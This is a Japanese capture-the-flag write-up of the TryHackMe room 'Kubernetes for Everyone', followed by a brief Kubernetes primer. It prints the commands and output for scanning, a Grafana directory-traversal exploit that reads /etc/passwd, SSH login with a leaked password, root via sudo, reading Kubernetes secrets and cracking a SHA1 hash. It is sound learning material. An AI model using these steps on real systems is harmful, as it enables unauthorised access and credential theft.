0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe Writeup: Kubernetes for Everyone&Kubernetesにおけるペネトレーションテスト手法

0
Last updated at Posted at 2026-05-07

はじめに

この記事は、TryHackMeのwriteupとKubernetesにおけるBoot2Root手法の概要です。
Roomは、Kubernetes for Everyone、Difficulty(難易度)はMediumです。

このRoomでは、Kubernetes環境における攻撃手法とその概要について学ぶことができます。

Recon

Port Scan

┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ sudo nmap -sC -sV -T4 [target_ip] -Pn  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-04 22:18 +0900
Nmap scan report for [target_ip]
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:35:e1:4f:4e:87:45:9e:5f:2c:97:e0:da:a9:df:d5 (RSA)
|   256 b2:fd:9b:75:1c:9e:80:19:5d:13:4e:8d:a0:83:7b:f9 (ECDSA)
|_  256 75:20:0b:43:14:a9:8a:49:1a:d9:29:33:e1:b9:1a:b6 (ED25519)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
5000/tcp open  http    Python http.server 3.5 - 3.10
|_http-title: Etch a Sketch
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.39 seconds
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ sudo nmap -sC -sV -T4 -p 6443 [target_ip] -Pn
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-04 22:22 +0900
Nmap scan report for [target_ip]
Host is up (0.24s latency).

PORT     STATE SERVICE  VERSION
6443/tcp open  ssl/http Golang net/http server
| ssl-cert: Subject: commonName=kubernetes/organizationName=kubernetes
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster, DNS:kubernetes.svc.cluster.local, DNS:localhost, IP Address:127.0.0.1, IP Address:10.49.190.89, IP Address:FE80:0:0:0:8F1:63FF:FE0F:71AF, IP Address:10.96.0.1
| Not valid before: 2026-05-04T13:13:00
|_Not valid after:  2027-05-04T13:13:00
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: b9bbc85b-632b-4e03-92e0-34705fa61235
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Mon, 04 May 2026 13:22:53 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 8c18fffa-7a9c-4df5-a12f-820ca7e368dc
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Mon, 04 May 2026 13:22:27 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 8fbced5d-c5a2-4d74-aee0-d02910bd2c12
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Mon, 04 May 2026 13:22:29 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6443-TCP:V=7.99%T=SSL%I=7%D=5/4%Time=69F89D92%P=x86_64-pc-linux-gnu
SF:%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\n
SF:Audit-Id:\x208c18fffa-7a9c-4df5-a12f-820ca7e368dc\r\nCache-Control:\x20
SF:no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20M
SF:on,\x2004\x20May\x202026\x2013:22:27\x20GMT\r\nContent-Length:\x20129\r
SF:\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"stat
SF:us\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized
SF:\",\"code\":401}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorize
SF:d\r\nAudit-Id:\x208fbced5d-c5a2-4d74-aee0-d02910bd2c12\r\nCache-Control
SF::\x20no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:
SF:\x20Mon,\x2004\x20May\x202026\x2013:22:29\x20GMT\r\nContent-Length:\x20
SF:129\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\
SF:"status\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unautho
SF:rized\",\"code\":401}\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20cha
SF:rset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Fou
SF:rOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x20b9
SF:bbc85b-632b-4e03-92e0-34705fa61235\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Mon,\x2004\x20Ma
SF:y\x202026\x2013:22:53\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.48 seconds

上記のポートスキャン結果をもとに調査します。

また、上記には記載がありませんですが、3000ポートもHTTPとして空いています。Kubernetesはただでさえ、VMを立ち上げるだけでも調子が悪いので、割愛させてください。

Scanning

Gobuster

3000ポートが空いているため、ディレクトリ探索を行います。

┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]:3000
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://[target_ip]:3000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 0 / 1 (0.00%)
2026/05/04 22:32:07 the server returns a status code that matches the provided options for non existing urls. http://10.48.138.80:3000/389a0e30-9c2d-4f9f-a40c-0491fce82289 => 302 (redirect to /login) (Length: 29). Please exclude the response length or the status code or set the wildcard option.. To continue please exclude the status code or the length
                                                                                                                                                        
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]:3000 -exclude-length 29
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://[target_ip]:3000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          29
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 148 / 4613 (3.21%)[ERROR] error on word 102: timeout occurred during the request
[ERROR] error on word 123: timeout occurred during the request
[ERROR] error on word 13: timeout occurred during the request
[ERROR] error on word 103: timeout occurred during the request
Progress: 152 / 4613 (3.30%)[ERROR] error on word 14: timeout occurred during the request
[ERROR] error on word 1991: timeout occurred during the request
[ERROR] error on word 1990: timeout occurred during the request
.....
.....
.....
[ERROR] error on word cc: timeout occurred during the request
[ERROR] error on word ccbill: timeout occurred during the request
[ERROR] error on word ccount: timeout occurred during the request
[ERROR] error on word ccp14admin: timeout occurred during the request
Progress: 794 / 4613 (17.21%)[ERROR] error on word ccs: timeout occurred during the request
[ERROR] error on word cd: timeout occurred during the request
Progress: 797 / 4613 (17.28%)[ERROR] error on word cdrom: timeout occurred during the request
[ERROR] error on word centres: timeout occurred during the request
Progress: 2382 / 4613 (51.64%)[ERROR] error on word login: timeout occurred during the request
org                  (Status: 302) [Size: 24] [--> /]
public               (Status: 302) [Size: 31] [--> /public/]
robots.txt           (Status: 200) [Size: 26]
signup               (Status: 200) [Size: 27985]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

現状、以下のディレクトリにアクセスできます。

org                  (Status: 302) [Size: 24] [--> /]
public               (Status: 302) [Size: 31] [--> /public/]
robots.txt           (Status: 200) [Size: 26]
signup               (Status: 200) [Size: 27985]

ただ、どのディレクトリパスを使用しても、http://[target_ip]:3000/loginにリダイレクトされます。

また、5000ポートも空いているため、ディレクトリ探索を行います。

┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]:5000                   
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://[target_ip]:5000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 65 / 4613 (1.41%)[ERROR] error on word _old: timeout occurred during the request
[ERROR] error on word _mygallery: timeout occurred during the request
[ERROR] error on word _overlay: timeout occurred during the request
[ERROR] error on word _net: timeout occurred during the request
.....
.....
.....
[ERROR] error on word beta: timeout occurred during the request
[ERROR] error on word bfc: timeout occurred during the request
console              (Status: 200) [Size: 1909]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

特になさそうです。

ただ、http://[target_ip]:5000/static/css/main.cssを閲覧すると興味深いものがあります。

https://pastebin.com/cPs69B0yというURLがあり、アクセスすると以下のようなエンコードされた文字列が存在する

OZQWO4TBNZ2A====

そのため、これがBase32だったので、デコードしました。

OZQWO4TBNZ2A====   ->   vagrant

すると、ユーザー名らしきものが見つかりました。

Exploitation

http://[target_ip]:3000/loginにリダイレクトされる際、Grafanaのログインページに遷移します。そこで、Grafanaのバージョンが記載されており、調べによると、ディレクトリトラバーサル攻撃による任意のファイルの読み出しが可能になっているそうです。

そこで、上記のスクリプトを使用し、/etc/passwdの読み出しが可能かを検証したところ、成功しました。

┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ python3 50581.py -H http://[target_ip]:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:[leaked_password]:/home/grafana:/sbin/nologin

よって、[leaked_password]により、実際に使用されていそうなパスワードを取得できました。

Find the username?
Answer: vagrant

Find the password
Answer: [leaked_password]

このことから、ポート22のSSHが空いているため、アクセスを試みます。

┌──(rikuxx㉿kali)-[~]
└─$ ssh vagrant@[target_ip]
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
vagrant@[target_ip]'s password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 2.0


248 packages can be updated.
192 updates are security updates.


Last login: Thu Feb 10 18:58:49 2022 from 10.0.2.2
vagrant@johnny:~$ 

すると、SSHでログインに成功しました。

Privilege Escalation

特権ユーザーで実行できるプログラムと禁止されているプログラムを確認します。

vagrant@johnny:~$ sudo -l
Matching Defaults entries for vagrant on johnny:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on johnny:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL

すると、何も制限がないため、以下のコマンドから、sudo-iで再度シェルを実行することで、一発で権限昇格します。

vagrant@johnny:~$ sudo -i

Kubernetes Research

Kubernetesの調査方法がわからないので、他のwriteupを参考に解きました。

ps auxを使用し、どんなプロセスが動いているかを確認します。

root@johnny:/# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
.....
.....
kube-sc+  1644  1.1  2.8 754040 13460 ?        Sl   14:50   0:15 /var/lib/k0s/bin/kube-scheduler --kubeconfig=/var/lib/k0s/pki/scheduler.conf --v=1 --bi
vagrant   1653  2.5  0.3  30096  1812 pts/0    Dl+  14:50   0:33 /usr/local/bin/python3 /home/pyuser/main.py
vagrant   1710  0.0  0.0  76776     0 ?        Ss   14:52   0:00 /lib/systemd/systemd --user
vagrant   1729  0.0  0.0 193740     0 ?        S    14:52   0:00 (sd-pam)
root      1790  1.4  0.5 175760  2764 ?        D    14:53   0:16 /usr/bin/python3 /usr/lib/ubuntu-release-upgrader/check-new-release -q
root      1860  0.0  0.0 105684    20 ?        Ss   14:53   0:00 sshd: vagrant [priv]
vagrant   1923  0.0  0.1 107984   628 ?        R    14:54   0:00 sshd: vagrant@pts/0
vagrant   1924  0.0  0.0  21472    40 pts/0    Ss   14:54   0:00 -bash
root      1934  0.0  0.0      0     0 ?        I    14:54   0:00 [kworker/u4:0]
kube-ap+  1942  2.9  9.8 768064 46372 ?        Sl   14:55   0:28 /var/lib/k0s/bin/kube-controller-manager --authentication-kubeconfig=/var/lib/k0s/pki/c

最後のログを見ると、k0sというKubernetesのセットアップから構築まで全てCLIで操作できるものがあるらしいです。

これを使用することで、kubectlが使えるので調査を進めることができます。

Kubernetesは、クラスターというコンテナ化されたアプリケーションを実行するノードの集合体があります。

また、同一の物理クラスターを基盤とする複数の仮想クラスターがあり、これらの仮想クラスターは名前空間を利用します。

そのため、今回、クレデンシャル情報を調べていきたいので、secretというシークレットが格納されているクラスターの調査を進めます。

以下のコマンドを使用します。

$ k0s kubectl get secret

実際に実行します。

root@johnny:~# k0s kubectl get secret
NAME                  TYPE                                  DATA   AGE
default-token-nhwb5   kubernetes.io/service-account-token   3      4y83d
k8s.authentication    Opaque                                1      4y83d

すると、中にはk8s.authenticationといういかにも認証で使用しそうなクラスターがあることに気づきます。

クラスターの中身を見るために以下のようなコマンドを使用します。

$ k0s kubectl edit secret k8s.authentication

実際に実行します。すると以下のようなデータを取得が可能です。

#uthentication Please edit the object below. Lines beginning with a '#' will be ignored,
# and an empty file will abort the edit. If an error occurs while saving this file will be
# reopened with the relevant failures.
#
apiVersion: v1
data:
  id: VEhNe3llc190aGVyZV8kc19ub18kZWNyZXR9
kind: Secret
metadata:
  creationTimestamp: "2022-02-10T18:58:02Z"
  name: k8s.authentication
  namespace: default
  resourceVersion: "515"
  uid: 416e4783-03a8-4f92-8e91-8cbc491bf727
type: Opaque
~                                                                                                                                                       
~ 

すると、idにエンコードされた文字列が存在します。
これをbase64でデコードすることで、フラグを取得することができます。

$ echo "VEhNe3llc190aGVyZV8kc19ub18kZWNyZXR9" | base64 -d

What secret did you find?
Answer: THM{XXXXXXXXXXXXXXXXXX}

さらに調査を進めます。Kubernetesには、Podという作成および管理できる最小の展開可能なコンピューティングユニット(一つのコンテナ、または複数のコンテナ)があります。

これについてもkubectlで調べることができます。

以下のようなコマンドを使用し、調査しました。

root@johnny:~# k0s kubectl get pods
No resources found in default namespace.

どうやら、以下の記事からデフォルトの名前空間以外を列挙してくれないようです。

一度、すべてのpodsを列挙を試みます。以下のコマンドを実行しました。

root@johnny:~# k0s kubectl get pods -A
NAMESPACE     NAME                              READY   STATUS      RESTARTS   AGE
internship    internship-job-5drbm              0/1     Completed   0          4y83d
kube-system   kube-router-vsq85                 1/1     Running     0          4y83d
kube-system   metrics-server-74c967d8d4-pvv8l   1/1     Running     0          4y83d
kube-system   kube-api                          1/1     Running     0          4y83d
kube-system   coredns-6d9f49dcbb-9vbff          1/1     Running     0          4y83d
kube-system   kube-proxy-jws4q                  1/1     Running     0          4y83d

すると、4y83dという名前空間で、いくつかのpodsが動いていることが確認できました。

今回のフラグを取得の問題として以下のことが書かれています。

The Pod also shares storage. Enumerate the pod-shared storage location and find the flag!
Pod はストレージも 共有しています。Podが共有しているストレージの場所を列挙し、フラグを見つけてください。(日本語訳)

つまり、Podの中でも共有されていそうなものを探さなければいけません。そこで、kube-apiは共有ストレージとして使用されていそうなことから、これ対象に調査します。

以下のコマンドを実行し、Podの動的検証をしようと試みましたが、エラーになりました。

root@johnny:~# k0s kubectl exec -it kube-api --namespace=kube-system -- /bin/bash
Error from server: error dialing backend: dial tcp 10.0.2.15:10250: i/o timeout

ここで、手詰まり感を感じたので、先ほどの他のwriteupも参照したところ、どうやら、丹念に探さないと出てこなさそうなものがありました。

/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokesというなんとも仕掛けた感のあるフォルダが見つかりました。

root@johnny:/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes# ls -al
total 28
drwxr-xr-x 3 root root 4096 Feb  7  2022 .
drwxr-xr-x 3 root root 4096 Feb  7  2022 ..
-rw-r--r-- 1 root root 1284 Feb  7  2022 crush.jokes
-rw-r--r-- 1 root root  718 Feb  7  2022 dad.jokes
drwxr-xr-x 8 root root 4096 Feb  7  2022 .git
-rw-r--r-- 1 root root  997 Feb  7  2022 mom.jokes
-rw-r--r-- 1 root root 1160 Feb  7  2022 programming.jokes

そして、これらを見てもフラグがないので、.gitからログを遡ることにしました。

以下を使用し、いい感じに表示させます。

$ git log pretty=oneline
root@johnny:/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes# git log --pretty=oneline
224b741fa904ee98c75913eafbefa12ac820659f (HEAD -> master, origin/master, origin/HEAD) feat: add programming.jokes
22cd540f3df22a2f373d95e145056d5370c058f5 feat: add crush.jokes
4b2c2d74b31d922252368c112a3907c5c1cf1ba3 feat: add cold.joke
2be20457c290fa1e8cc8d18cd5b546cec474691c feat: add mom.jokes
cc342469e2a4894e34a3e6cf3c7e63603bd4753e feat: add dad.jokes

すると、ディレクトリに存在しないcold.jokeというファイルがあったことを見つけました。

実際に、見てみるとフラグが入っていました。

root@johnny:/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes# git show 4b2c2d74b31d922252368c112a3907c5c1cf1ba3
commit 4b2c2d74b31d922252368c112a3907c5c1cf1ba3
Author: Aju100 <ajutamang10@outlook.com>
Date:   Mon Feb 7 22:37:13 2022 +0545

    feat: add cold.joke

diff --git a/king.jokes b/king.jokes
new file mode 100644
index 0000000..1b7d703
--- /dev/null
+++ b/king.jokes
@@ -0,0 +1 @@
+THM{YYYYYYYYYYYYYYYYYYYYYY}
\ No newline at end of file

What is the volume flag?
Answer: THM{YYYYYYYYYYYYYYYYYYYYYY}

また、最後のフラグを取得するために、以下のコマンドを実行しました。

root@johnny:~# k0s kubectl get job -n internship
NAME             COMPLETIONS   DURATION   AGE
internship-job   1/1           3m10s      4y83d

すると、実際に存在していたので、JSONで出力させます。

root@johnny:~# k0s kubectl get job -n internship -o json
{
    "apiVersion": "v1",
    "items": [
        {
            "apiVersion": "batch/v1",
            "kind": "Job",
            "metadata": {
                "annotations": {
                    "batch.kubernetes.io/job-tracking": ""
                },
                "creationTimestamp": "2022-02-10T18:55:33Z",
                "generation": 1,
                "labels": {
                    "controller-uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d",
                    "job-name": "internship-job"
                },
                "name": "internship-job",
                "namespace": "internship",
                "resourceVersion": "579",
                "uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d"
            },
            "spec": {
                "backoffLimit": 6,
                "completionMode": "NonIndexed",
                "completions": 1,
                "parallelism": 1,
                "selector": {
                    "matchLabels": {
                        "controller-uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d"
                    }
                },
                "suspend": false,
                "template": {
                    "metadata": {
                        "creationTimestamp": null,
                        "labels": {
                            "controller-uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d",
                            "job-name": "internship-job"
                        }
                    },
                    "spec": {
                        "containers": [
                            {
                                "command": [
                                    "echo",
                                    "26c3d1c068e7e01599c3612447410b5e56c779f1"
                                ],
                                "image": "busybox",
                                "imagePullPolicy": "Always",
                                "name": "internship-job",
                                "resources": {},
                                "terminationMessagePath": "/dev/termination-log",
                                "terminationMessagePolicy": "File"
                            }
                        ],
                        "dnsPolicy": "ClusterFirst",
                        "restartPolicy": "Never",
                        "schedulerName": "default-scheduler",
                        "securityContext": {},
                        "terminationGracePeriodSeconds": 30
                    }
                }
            },
            "status": {
                "completionTime": "2022-02-10T18:59:26Z",
                "conditions": [
                    {
                        "lastProbeTime": "2022-02-10T18:59:26Z",
                        "lastTransitionTime": "2022-02-10T18:59:26Z",
                        "status": "True",
                        "type": "Complete"
                    }
                ],
                "startTime": "2022-02-10T18:56:16Z",
                "succeeded": 1,
                "uncountedTerminatedPods": {}
            }
        }
    ],
    "kind": "List",
    "metadata": {
        "resourceVersion": "",
        "selfLink": ""
    }
}

すると、謎のbusyboxというイメージがあり、その周辺にあるハッシュを解読することでFANG企業の面接を成功するためのシークレットを知ることができます。

┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ echo "26c3d1c068e7e01599c3612447410b5e56c779f1" > hash.txt

SHA1のハッシュなので、その趣旨をセットして、hashcatでハッシュをクラックします。

┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ hashcat -m 100  hash.txt /usr/share/wordlists/rockyou.txt                       
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (5305 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

26c3d1c068e7e01599c3612447410b5e56c779f1:[Secret_Word]         
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)
Hash.Target......: 26c3d1c068e7e01599c3612447410b5e56c779f1
Time.Started.....: Tue May  5 01:54:32 2026 (0 secs)
Time.Estimated...: Tue May  5 01:54:32 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  6606.5 kH/s (0.31ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 12288/14344385 (0.09%)
Rejected.........: 0/12288 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> hawkeye
Hardware.Mon.#01.: Temp: 69c Util: 10%

Started: Tue May  5 01:54:22 2026
Stopped: Tue May  5 01:54:33 2026

よって、ハッシュのクラックに成功しました。

What's the secret to the FANG interview?
Answer: [Secret_Word]

終わり

今回のラボはペンテストラボでは珍しいKubernetesの問題について解きました。マジな話、k8sのコンテナの立ち上がりが遅かったり、ポートスキャンだけでサービス停止したりなどで、再起動の繰り返しで、約8~9時間ぐらい掛かりました。

k8sは面白いけど、CTFとしては重すぎました。その分、Kubernetesに関するペンテストの知識は増えたので、結果として良かったなと思いました。

ゴールデンウェークで技術に関して、一番学びがあったのはこれであろうと思いました。

ご参考になると幸いです。

Kubernetesにおけるペネトレーションテスト手法

ここでは、自分がkubernetesに関してのペンテスト手法やkubectlについて知識がなかったので、Tipsのような感じで簡単なペンテスト手法をご紹介程度にまとめておきます。

Tips

Kubernetesとはなんぞや?

Kubernetesについて

KubernetesはK8sとしても知られており、デプロイやスケーリングを自動化したり、コンテナ化されたアプリケーションを管理したりするための、オープンソースのシステムです。

管理や検出を容易にするため、アプリケーションを論理的な単位に分割し、コンテナをグルーピングします。KubernetesはGoogleでの15年にわたる経験を基に構築されており、コミュニティのアイディアや慣習との最善の組み合わせを取っています。
引用: https://kubernetes.io/ja/

クラスタについて

Kubernetes (k8s) クラスタは、コンテナ化されたアプリケーションを実行するノードの集合体です。オンプレミス、クラウド、物理/仮想マシン等、複数の環境をまたいでコンテナを実行します。Kubernetes を実行しているときは、クラスタが実行されています。
引用: https://www.redhat.com/ja/topics/containers/what-is-a-kubernetes-cluster

Podについて

Podは、Kubernetes内で作成・管理できるコンピューティングの最小のデプロイ可能なユニットです。
Pod(Podという名前は、たとえばクジラの群れ(pod of whales)やえんどう豆のさや(pea pod)などの表現と同じような意味です)は、1つまたは複数のコンテナのグループであり、ストレージやネットワークの共有リソースを持ち、コンテナの実行方法に関する仕様を持っています。同じPodに含まれるリソースは、常に同じ場所で同時にスケジューリングされ、共有されたコンテキストの中で実行されます。Podはアプリケーションに特化した「論理的なホスト」をモデル化します。つまり、1つのPod内には、1つまたは複数の比較的密に結合されたアプリケーションコンテナが含まれます。クラウド外の文脈で説明すると、アプリケーションが同じ物理ホストや同じバーチャルマシンで実行されることが、クラウドアプリケーションの場合には同じ論理ホスト上で実行されることに相当します。
